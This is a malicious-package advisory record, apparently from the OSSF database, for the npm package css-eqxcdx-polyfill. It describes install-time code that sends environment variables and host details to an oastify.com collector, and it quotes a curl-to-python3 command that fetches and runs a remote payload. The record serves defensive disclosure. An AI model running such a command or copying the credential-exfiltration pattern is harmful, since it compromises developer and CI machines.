mal-2026-17573
Vulnerability from ossf_malicious_packages
-= Per source details. Do not edit below this line.=-
Source: amazon-inspector (a93fe0298f7671177e324947b2bf89ec3729b203621f7ca67aa8cd10439306a2)
The package presents itself as a polyfill exporting Wix thunderbolt-style registry stubs (thunderboltRegistry, siteAssetsRegistry, documentManagementRegistry, editorRegistry, corvidRegistry, etc.), but thunderboltRegistry.js runs an IIFE on module load that performs two installer-side attacks. First, it executes id, whoami, env, and ifconfig/ip addr via child_process.execSync, collects the OS hostname, and POSTs the output together with a wholesale dump of process environment variables via fetch() to the hardcoded Burp Collaborator OAST host https://unl9pgk6ei4uf80n5tf4iktspjvbuzkn9.oastify.com/, including a tagged cmd=env beacon. Environment variables on developer and CI hosts routinely contain cloud, registry, and CI credentials. Second, it runs curl -L https://appsecc.com/py | python3 via execSync, fetching and executing an arbitrary remote Python payload on the installer's machine, with a self-labeled cmd=reverse-shell beacon sent to the same OAST host. The registry-API facade and the Wix-adjacent naming are cover for the reconnaissance and remote code execution in the same file; the package has no legitimate functionality.
- CWE-506 - The product contains code that appears to be malicious in nature.
{
"affected": [
{
"database_specific": {
"cwes": [
{
"cweId": "CWE-506",
"description": "The product contains code that appears to be malicious in nature.",
"name": "Embedded Malicious Code"
}
],
"indicators": {
"evidence_files": [
{
"path": "thunderboltRegistry.js",
"sha256": "098fac4f87d662808d1fcb744c79416ac42dd1ae997a1f96a998f2f3b46ce699",
"tlsh": "e07131b5b99df02166c33438db7f5049b4bb86672c6caee0740899b01f7585c01ba6f4"
}
],
"package_integrity": [
{
"filename": "css-eqxcdx-polyfill-1.0.0.tgz",
"hashes": {
"sha1": "7557c9d44b83fa297b2e679935c315e8c63186c5",
"sha512_sri": "sha512-K2Cyx29csVIzcdLgoftJ1PQfZBb8NB8x28Hl8TRWDN+4ZLcgL7uFBSPd4rIgt9MXy/fWsOWXMSWXX8QPTeUJTg=="
}
}
]
}
},
"package": {
"ecosystem": "npm",
"name": "css-eqxcdx-polyfill"
},
"versions": [
"1.0.0"
]
}
],
"credits": [
{
"contact": [
"inspector-research@amazon.com"
],
"name": "Amazon Inspector",
"type": "FINDER"
}
],
"database_specific": {
"malicious-packages-origins": [
{
"id": "IN-MAL-2026-021078",
"import_time": "2026-10-05T16:22:56.912573368Z",
"modified_time": "2026-10-05T16:14:36Z",
"sha256": "a93fe0298f7671177e324947b2bf89ec3729b203621f7ca67aa8cd10439306a2",
"source": "amazon-inspector",
"versions": [
"1.0.0"
]
}
]
},
"details": "\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (a93fe0298f7671177e324947b2bf89ec3729b203621f7ca67aa8cd10439306a2)\nThe package presents itself as a polyfill exporting Wix thunderbolt-style registry stubs (thunderboltRegistry, siteAssetsRegistry, documentManagementRegistry, editorRegistry, corvidRegistry, etc.), but thunderboltRegistry.js runs an IIFE on module load that performs two installer-side attacks. First, it executes `id`, `whoami`, `env`, and `ifconfig`/`ip addr` via child_process.execSync, collects the OS hostname, and POSTs the output together with a wholesale dump of process environment variables via fetch() to the hardcoded Burp Collaborator OAST host https://unl9pgk6ei4uf80n5tf4iktspjvbuzkn9.oastify.com/, including a tagged `cmd=env` beacon. Environment variables on developer and CI hosts routinely contain cloud, registry, and CI credentials. Second, it runs `curl -L https://appsecc.com/py | python3` via execSync, fetching and executing an arbitrary remote Python payload on the installer\u0027s machine, with a self-labeled `cmd=reverse-shell` beacon sent to the same OAST host. The registry-API facade and the Wix-adjacent naming are cover for the reconnaissance and remote code execution in the same file; the package has no legitimate functionality.\n",
"id": "MAL-2026-17573",
"modified": "2026-10-05T16:14:36Z",
"published": "2026-10-05T16:14:36Z",
"references": [
{
"type": "PACKAGE",
"url": "https://www.npmjs.com/package/css-eqxcdx-polyfill/v/1.0.0"
}
],
"schema_version": "1.7.4",
"summary": "Malicious code in css-eqxcdx-polyfill (npm)"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
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